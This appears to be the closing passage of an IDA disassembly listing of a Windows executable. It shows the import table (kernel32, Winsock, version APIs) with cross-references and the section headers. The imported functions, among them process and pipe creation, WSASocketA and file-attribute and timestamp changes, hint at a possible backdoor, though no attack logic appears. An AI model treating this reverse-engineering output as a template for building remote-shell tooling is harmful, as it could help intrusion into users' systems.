					; .text:0043BAF0r
dword_4F64A0	dd 77E73196h		; DATA XREF: __CrtIsValidPointer+2Ar
					; ___sbh_heap_check+19r ...
dword_4F64A4	dd 77E7339Ch		; DATA XREF: __CrtIsValidPointer+12r
					; sub_433E30+13r ...
dword_4F64A8	dd 77E6C924h		; DATA XREF: sub_41E4D0+93r
					; sub_41E4D0+102r ...
dword_4F64AC	dd 77F6183Eh		; DATA XREF: sub_43BB08r
dword_4F64B0	dd 77E76E3Dh		; DATA XREF: _time+9Fr	__tzset_lk+5Er	...
dword_4F64B4	dd 77E61608h		; DATA XREF: _time+17r	.text:0043BB14r
dword_4F64B8	dd 77E778C5h		; DATA XREF: __strupr+76r __strupr+B6r ...
dword_4F64BC	dd 77E777EFh		; DATA XREF: __strupr+62r _tolower+2Cr ...
dword_4F64C0	dd 77E6177Ah		; DATA XREF: start+E2r	__ioinit+87r ...
dword_4F64C4	dd 77E7C938h		; DATA XREF: start+B3r	.text:0043BB2Cr
dword_4F64C8	dd 77E7C486h		; DATA XREF: start+26r	.text:0043BB32r
dword_4F64CC	dd 77EB36A5h		; DATA XREF: sub_423320+3r
					; .text:0043BB38r
dword_4F64D0	dd 77E79C3Dh		; DATA XREF: __CrtSetReportFile+3Er
					; __CrtSetReportFile+58r ...
dword_4F64D4	dd 77E9BD34h		; DATA XREF: __CrtDbgReport+102r
					; __CrtDbgReport+2F3r ...
dword_4F64D8	dd 77E79908h		; DATA XREF: __mtinitlocks+9r
					; __mtinitlocks+16r ...
dword_4F64DC	dd 77EB8503h		; DATA XREF: __lockerr_exit+9r
					; .text:0043BB50r
dword_4F64E0	dd 77F5722Fh		; DATA XREF: sub_424440+DAr
					; sub_424440+1BBr ...
dword_4F64E4	dd 77E79E34h		; DATA XREF: sub_424FD0+4A8r
					; sub_424FD0+545r ...
dword_4F64E8	dd 77E7980Ah		; DATA XREF: ___sbh_alloc_new_region+A3r
					; ___sbh_alloc_new_group+A7r ...
dword_4F64EC	dd 77E7AC5Eh		; DATA XREF: sub_427AB0+5Fr
					; .text:0043BB68r
dword_4F64F0	dd 77E76E0Bh		; DATA XREF: sub_427CE0+57r
					; sub_427CE0+7Cr ...
dword_4F64F4	dd 77E7C726h		; DATA XREF: sub_427CE0+14r
					; .text:0043BB74r
dword_4F64F8	dd 77E77CC4h		; DATA XREF: __mtinit+64r __getptd+66r ...
dword_4F64FC	dd 77E79B39h		; DATA XREF: __mtinit+4Ar __getptd+50r ...
dword_4F6500	dd 77E7C5B4h		; DATA XREF: __mtinit+9r
					; .text:0043BB86r
dword_4F6504	dd 77E72B29h		; DATA XREF: __mtterm+17r
					; .text:0043BB8Cr
dword_4F6508	dd 77F51587h		; DATA XREF: __getptd+8Br
					; .text:0043BB92r
dword_4F650C	dd 77E78B61h		; DATA XREF: __getptd+15r
					; __freeptd+1Cr ...
dword_4F6510	dd 77E73163h		; DATA XREF: .text:00429F53r
					; .text:0043BB9Er
		align 8
dword_4F6518	dd 71B2ACCBh		; DATA XREF: sub_43B886r
		align 10h
dword_4F6520	dd 77C0167Dh		; DATA XREF: sub_43B910r
dword_4F6524	dd 77C0162Dh		; DATA XREF: sub_43B916r
dword_4F6528	dd 77C015E3h		; DATA XREF: sub_43B91Cr
		align 10h
dword_4F6530	dd 71AB4122h		; DATA XREF: sub_4155FE+D4r
					; .text:0043B904r
dword_4F6534	dd 71AB1746h		; DATA XREF: sub_413119+1DEr
					; .text:0043B8FEr
dword_4F6538	dd 71AB401Ch		; DATA XREF: sub_413119+21Br
					; sub_413119+243r ...
dword_4F653C	dd 71AB1836h		; DATA XREF: sub_40FA71+6Er
					; sub_40FAEE+8Er ...
dword_4F6540	dd 71AB41DAh		; DATA XREF: sub_40F43A+4Ar
					; sub_40FA71+15r ...
dword_4F6544	dd 71AB3F8Dh		; DATA XREF: sub_40F43A+5Ar
					; .text:0043B8E6r
dword_4F6548	dd 71AB155Ah		; DATA XREF: sub_40F43A+8Dr
					; sub_41417E+70r ...
dword_4F654C	dd 71AB3ECEh		; DATA XREF: sub_40F43A+B5r
					; .text:0043B8DAr
dword_4F6550	dd 71AB5A01h		; DATA XREF: sub_4156E7+20r
					; .text:0043B90Ar
dword_4F6554	dd 71AB868Dh		; DATA XREF: sub_40F43A+171r
					; .text:0043B8CEr
dword_4F6558	dd 71AB2BBFh		; DATA XREF: .text:0040EB4Ar
					; .text:0043B8C8r
dword_4F655C	dd 71AB12F8h		; DATA XREF: sub_40E907+27r
					; sub_40EA49+27r ...
dword_4F6560	dd 71AB1746h		; DATA XREF: sub_40E907+36r
					; sub_40EA49+36r ...
dword_4F6564	dd 71AB3E5Dh		; DATA XREF: sub_40E907+59r
					; sub_40EA49+59r ...
dword_4F6568	dd 71AB5690h		; DATA XREF: sub_40E907+6Ar
					; sub_40EA49+6Ar ...
dword_4F656C	dd 71AB1A6Dh		; DATA XREF: sub_40E907+E0r
					; sub_40EA49+E0r ...
dword_4F6570	dd 71AB3C22h		; DATA XREF: sub_40DB44+AFr
					; sub_40E907+45r ...
dword_4F6574	dd 71AB1AF4h		; DATA XREF: sub_40D871+12r
					; sub_40E907+C3r ...
dword_4F6578	dd 71AB1890h		; DATA XREF: sub_40D6D3+4Cr
					; sub_40F43A+106r ...
dword_4F657C	dd 71AB1B7Bh		; DATA XREF: sub_43B892r
dword_4F6580	dd 71AB157Eh		; DATA XREF: sub_401CC7+2FB5r
					; .text:0043B88Cr
dword_4F6584	dd 71AB5DE2h		; DATA XREF: sub_40F43A+C9r
					; .text:0043B8D4r
		dd 0
		dd 4E570006h, 64417465h, 6E6F4364h, 7463656Eh, 326E6F69h
		dd 504D0041h, 6C642E52h, 41006Ch, 53415357h, 656B636Fh
		dd 4174h, 5F325357h, 642E3233h,	6C6Ch, 6556000Ah, 65755172h
		dd 61567972h, 4165756Ch, 0
aGetfileversion	db 'GetFileVersionInfoA',0
		db    1
		align 2
aGetfileversi_0	db 'GetFileVersionInfoSizeA',0
aVersion_dll	db 'VERSION.dll',0
		db '',0
aExitprocess	db 'ExitProcess',0
a4_0		db '4',0
aClosehandle	db 'CloseHandle',0
aF_2		db 'f',0
aCreateprocessa	db 'CreateProcessA',0
		align 10h
		db  7Dh	; }
		db 1, 47h, 65h
aTmodulefilenam	db 'tModuleFileNameA',0
		align 2
		dw 1C1h
aGetsystemdirec	db 'GetSystemDirectoryA',0
		db  56h	; V
		db 3, 53h, 6Ch
		db  65h	; e
		db 65h,	70h, 0
		db  6Fh	; o
		align 2
aCreatethread	db 'CreateThread',0
		align 4
aG_1		db '',0
aDeletefilea	db 'DeleteFileA',0
		dw 286h
aOpenprocess	db 'OpenProcess',0
		db  43h	; C
		db 1, 47h, 65h
aTcurrentproces	db 'tCurrentProcessId',0
		dw 171h
aGetlasterror	db 'GetLastError',0
		align 2
aC_8		db 'C',0
aCopyfilea	db 'CopyFileA',0
		dw 319h
aSetfileattribu	db 'SetFileAttributesA',0
		align 4
		db  5Eh	; ^
		db 1, 47h, 65h
aTfileattribute	db 'tFileAttributesA',0
		align 2
		dw 17Fh
aGetmodulehandl	db 'GetModuleHandleA',0
		align 2
		dw 390h
aWaitforsingleo	db 'WaitForSingleObject',0
		db '`',0
aCreatemutexa	db 'CreateMutexA',0
		align 4
		db 0DFh	; 
		db 1, 47h, 65h
aTtickcount	db 'tTickCount',0
		align 4
		db  5Fh	; _
		db 3, 54h, 65h
aRminatethread	db 'rminateThread',0
		dw 1D5h
aGettemppatha	db 'GetTempPathA',0
		align 2
		dw 26Eh
aMovefilea	db 'MoveFileA',0
		dw 252h
aLoadlibrarya	db 'LoadLibraryA',0
		align 2
		dw 1A0h
aGetprocaddress	db 'GetProcAddress',0
		align 4
		db  14h
		db 1, 47h, 65h
aTcomputernamea	db 'tComputerNameA',0
		align 4
		db  74h	; t
		db 1, 47h, 65h
aTlocaleinfoa	db 'tLocaleInfoA',0
		align 2
		dw 1E9h
aGetversionexa	db 'GetVersionExA',0
		db '',0
aExitthread	db 'ExitThread',0
		align 4
		db  51h	; Q
		db 2, 4Ch, 65h
aAvecriticalsec	db 'aveCriticalSection',0
		align 4
aS_41		db '',0
aEntercriticals	db 'EnterCriticalSection',0
		align 4
		db  24h	; $
		db 2, 49h, 6Eh
aItializecritic	db 'itializeCriticalSectionAndSpinCount',0
aB_1		db '',0
aDeletecritical	db 'DeleteCriticalSection',0
		db 0A4h	; 
		db 3, 57h, 72h
aItefile	db 'iteFile',0
aO_1		db 'O',0
aCreateeventa	db 'CreateEventA',0
		align 4
		db 0B5h	; 
		db 2, 52h, 65h
aAdfile		db 'adFile',0
		align 4
aS_42		db 'S',0
aCreatefilea	db 'CreateFileA',0
		dw 35Eh
aTerminateproce	db 'TerminateProcess',0
		align 2
aU_1		db '',0
aDuplicatehandl	db 'DuplicateHandle',0
		db  42h	; B
		db 1, 47h, 65h
aTcurrentproc_0	db 'tCurrentProcess',0
aE_1		db 'e',0
aCreatepipe	db 'CreatePipe',0
		align 2
		dw 1E0h
aGettimeformata	db 'GetTimeFormatA',0
		align 4
		db  47h	; G
		db 1, 47h, 65h
aTdateformata	db 'tDateFormatA',0
		align 2
		dw 163h
aGetfilesize	db 'GetFileSize',0
		db '',0
aFindclose	db 'FindClose',0
		db '',0
aFiletimetosyst	db 'FileTimeToSystemTime',0
		align 10h
		db '',0
aFiletimetoloca	db 'FileTimeToLocalFileTime',0
		db '',0
aFindnextfilea	db 'FindNextFileA',0
		db '',0
aFindfirstfilea	db 'FindFirstFileA',0
		align 4
		dd 6553031Bh, 6C694674h, 696F5065h, 7265746Eh, 2EE0000h
aSetconsolectrl	db 'SetConsoleCtrlHandler',0
		dw 38Eh
aWaitformulti_0	db 'WaitForMultipleObjects',0
		align 10h
		db 0FCh	; 
		align 2
aGenerateconsol	db 'GenerateConsoleCtrlEvent',0
		align 4
		db  73h	; s
		db 1, 47h, 65h
aTlocaltime	db 'tLocalTime',0
		align 4
		db 0A3h	; 
		db 2, 51h, 75h
aEryperformance	db 'eryPerformanceCounter',0
		dw 2A4h
aQueryperform_1	db 'QueryPerformanceFrequency',0
		dw 0F8h
aFreelibrary	db 'FreeLibrary',0
		db  59h	; Y
		db 1, 47h, 65h
aTenvironmentva	db 'tEnvironmentVariableW',0
		dw 216h
aHeapfree	db 'HeapFree',0
		align 2
		dw 210h
aHeapalloc	db 'HeapAlloc',0
		dw 1A3h
aGetprocessheap	db 'GetProcessHeap',0
		align 4
		dd 69560389h, 61757472h, 6575516Ch, 78457972h, 2B80000h
aReadprocessmem	db 'ReadProcessMemory',0
		dw 1C5h
aGetsysteminfo	db 'GetSystemInfo',0
		dw 0F3h
aFormatmessagea	db 'FormatMessageA',0
		align 4
		db  0Ah
		db 2, 47h, 6Ch
aObalunlock	db 'obalUnlock',0
		align 4
		db    3
		db 2, 47h, 6Ch
aOballock	db 'obalLock',0
		align 2
		dw 371h
aUnmapviewoffil	db 'UnmapViewOfFile',0
		db  68h	; h
		db 2, 4Dh, 61h
aPviewoffile	db 'pViewOfFile',0
aT_1		db 'T',0
aCreatefilemapp	db 'CreateFileMappingA',0
		align 2
		dw 31Fh
aSetfiletime	db 'SetFileTime',0
		dd 65470165h, 6C694674h, 6D695465h, 0BC0065h
aExpandenvironm	db 'ExpandEnvironmentStringsA',0
		dw 394h
aWidechartomult	db 'WideCharToMultiByte',0
		db  75h	; u
		db 2, 4Dh, 75h
aLtibytetowidec	db 'ltiByteToWideChar',0
		dw 3C3h
aLstrcmpia	db 'lstrcmpiA',0
		dw 15Ah
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		db  91h	; 
		db 2, 50h, 65h
aEknamedpipe	db 'ekNamedPipe',0
		db  78h	; x
		db 1, 47h, 65h
aTlogicaldrives	db 'tLogicalDrives',0
		align 4
		db    4
		db 2, 47h, 6Ch
aObalmemorystat	db 'obalMemoryStatus',0
		align 2
		dw 236h
aIsbadwriteptr	db 'IsBadWritePtr',0
		dw 233h
aIsbadreadptr	db 'IsBadReadPtr',0
		align 2
		dw 220h
aHeapvalidate	db 'HeapValidate',0
		align 2
		dw 2D7h
aRtlunwind	db 'RtlUnwind',0
		dw 1E2h
aGettimezoneinf	db 'GetTimeZoneInformation',0
		align 4
		db 0C8h	; 
		db 1, 47h, 65h
aTsystemtime	db 'tSystemTime',0
		db  28h	; (
		db 2, 49h, 6Eh
aTerlockeddecre	db 'terlockedDecrement',0
		align 10h
		db  2Ch	; ,
		db 2, 49h, 6Eh
aTerlockedincre	db 'terlockedIncrement',0
		align 4
		db 0B7h	; 
		db 1, 47h, 65h
aTstartupinfoa	db 'tStartupInfoA',0
		dw 110h
aGetcommandline	db 'GetCommandLineA',0
		db 0E8h	; 
		db 1, 47h, 65h
aTversion	db 'tVersion',0
		align 2
		db 'x',0
aDebugbreak	db 'DebugBreak',0
		align 4
		db 0B9h	; 
		db 1, 47h, 65h
aTstdhandle	db 'tStdHandle',0
		align 4
		db  8Dh	; 
		db 2, 4Fh, 75h
aTputdebugstrin	db 'tputDebugStringA',0
		align 2
		dw 223h
aInitializecrit	db 'InitializeCriticalSection',0
		db '',0
aFatalappexita	db 'FatalAppExitA',0
		dw 21Ah
aHeaprealloc	db 'HeapReAlloc',0
		dd 69560383h, 61757472h, 6572466Ch, 3810065h, 74726956h
		dd 416C6175h, 636F6C6Ch, 1580000h
aGetenvironment	db 'GetEnvironmentVariableA',0
		db  14h
		db 2, 48h, 65h
aApdestroy	db 'apDestroy',0
		dw 212h
aHeapcreate	db 'HeapCreate',0
		align 4
		db  46h	; F
		db 1, 47h, 65h
aTcurrentthread	db 'tCurrentThreadId',0
		align 2
		dw 366h
aTlssetvalue	db 'TlsSetValue',0
		db  63h	; c
		db 3, 54h, 6Ch
aSalloc		db 'sAlloc',0
		align 4
		db  64h	; d
		db 3, 54h, 6Ch
aSfree		db 'sFree',0
		dw 328h
aSetlasterror	db 'SetLastError',0
		align 2
		dw 365h
aTlsgetvalue	db 'TlsGetValue',0
		db  45h	; E
		db 1, 47h, 65h
aTcurrentthre_0	db 'tCurrentThread',0
		align 4
		db    4
		db 1, 47h, 65h
aTcpinfo	db 'tCPInfo',0
		db 0FDh	; 
		align 2
aGetacp		db 'GetACP',0
		align 2
		dw 193h
aGetoemcp	db 'GetOEMCP',0
		align 2
		dw 2A7h
aRaiseexception	db 'RaiseException',0
		align 4
		db  44h	; D
		db 2, 4Ch, 43h
aMapstringa	db 'MapStringA',0
		align 4
		db  45h	; E
		db 2, 4Ch, 43h
aMapstringw	db 'MapStringW',0
		align 4
		db  6Eh	; n
		db 3, 55h, 6Eh
aHandledexcepti	db 'handledExceptionFilter',0
		align 4
		db 0F6h	; 
		align 2
aFreeenvironmen	db 'FreeEnvironmentStringsA',0
		dw 0F7h
aFreeenvironm_0	db 'FreeEnvironmentStringsW',0
		db  55h	; U
		db 1, 47h, 65h
aTenvironmentst	db 'tEnvironmentStrings',0
		db  57h	; W
		db 1, 47h, 65h
aTenvironment_0	db 'tEnvironmentStringsW',0
		align 2
		dw 324h
aSethandlecount	db 'SetHandleCount',0
		align 10h
		dd 65470166h, 6C694674h, 70795465h, 3370065h, 53746553h
		dd 61486474h, 656C646Eh, 0EE0000h, 73756C46h, 6C694668h
		dd 66754265h, 73726566h, 1BA0000h, 53746547h, 6E697274h
		dd 70795467h, 4165h, 654701BDh,	72745374h, 54676E69h, 57657079h
		dd 34A0000h
aSetunhandledex	db 'SetUnhandledExceptionFilter',0
		dd 73490230h, 43646142h, 5065646Fh, 7274h, 73490241h, 696C6156h
		dd 636F4C64h, 656C61h, 7349023Fh, 696C6156h, 646F4364h
		dd 67615065h, 0AF0065h
aEnumsystemloca	db 'EnumSystemLocalesA',0
		align 4
		db 0E3h	; 
		db 1, 47h, 65h
aTuserdefaultlc	db 'tUserDefaultLCID',0
		align 2
		dw 310h
aSetendoffile	db 'SetEndOfFile',0
		align 2
		dw 175h
aGetlocaleinfow	db 'GetLocaleInfoW',0
		align 4
		db ':',0
aComparestringa	db 'CompareStringA',0
		align 2
		db ';',0
aComparestringw	db 'CompareStringW',0
		align 4
		db  13h
		db 3, 53h, 65h
aTenvironment_1	db 'tEnvironmentVariableA',0
aKernel32_dll_0	db 'KERNEL32.dll',0
		align 10h
_idata		ends

; Section 6. (virtual address 000FD000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 000FC400
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 4FD000h
		align 2000h
_idata2		ends


		end start